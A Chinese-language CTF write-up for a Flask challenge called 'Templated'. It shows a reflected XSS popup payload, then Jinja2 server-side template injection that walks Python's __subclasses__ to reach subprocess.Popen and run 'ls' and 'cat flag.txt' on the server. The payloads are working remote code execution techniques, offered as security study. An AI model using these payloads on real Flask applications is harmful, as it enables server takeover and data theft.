Templated
是ssti漏洞.
但是之前学习burpsuite下的题目的时候,没有学到这个.之前了解过概念.于是我专门回顾和学习了一下jinja2
尝试访问不存在的路径:
payload : /xyz
response : 发现会回显xyz在页面中
既然会回显,那么尝试一下XSS来弹窗一下
payload : /<img src=1 onerror=alert(1)>
response : 按照预料,进行了弹窗
但是此时,依旧没有flag.根据题目描述,应该是必须要用到模板.
确认是否存在模板的注入
payload : /{{1+1}}
response : 会回显计算结果2
接着,我又继续学习了针对jinja2的ssti相关的知识:https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti(推荐这篇文章,非常不错!)
确认Flask的模板引擎为jinja2
payload : /{{config}}
尝试使用ssti基础的注入方式,查看python环境下,""所属的类,及继承该类的全部类(其实这里结果是全部的类及子类):
payload : /{{"".__class__.__mro__[1].__subclasses__()}}
response : 返回python下mro[1]的全部类及其子类
mro 在python官方的文档下的Sepcial Attributes中有定义
此时我们查找Popen的python公共方法(https://docs.python.org/zh-cn/3/library/subprocess.html)
对该处使用burpsuite的intruder进行遍历,计算popen位于__subclasses__的下标编号.发现是414(其实还有一种方法是利用python语的切片表达式来快速定位)
看文档关于Popen的使用,参数可以使用字符,也可以使用序列(例如列表).
看文档得知,调用的方式是实例化Popen类,并调用其下的communicate()方法.同时,要保证stdout为Popen.PIPE.而PIPE为一个特殊的数字,来代表这些标准输出标准输入etc.
其中communicate()方法是为了和子进程进行交互的
所以我们可以先使用__globals__
来获取更多信息.比如说查看一下PIPE的值到底是多少
__globals__
: 返回一个当前空间下能使用的模块,方法和变量的字典
payload : {{''.__class__.__mro__[1].__subclasses__()[414].__init__.__globals__}}
response : 浏览器中使用<c-f>,查看到PIPE的值为-1
那么,我们现在可以实例化类并调用方法了
先看一下当前路径下的文件
payload : /{{''.__class__.__mro__[1].__subclasses__()[414]('ls -lh',shell=True,stdout=-1).communicate()}}
response : 在response中查看到有flag.txt的文件
然后使用cat命令,输出flag的内容
response : /{{''.__class__.__mro__[1].__subclasses__()[414]('cat flag.txt',shell=True,stdout=-1).communicate()}}
最后:
这里使用的是Popen的方法进行任意命令执行的.也可以使用<class 'warnings.catch_warnings'>下的builtins 实现同样的目的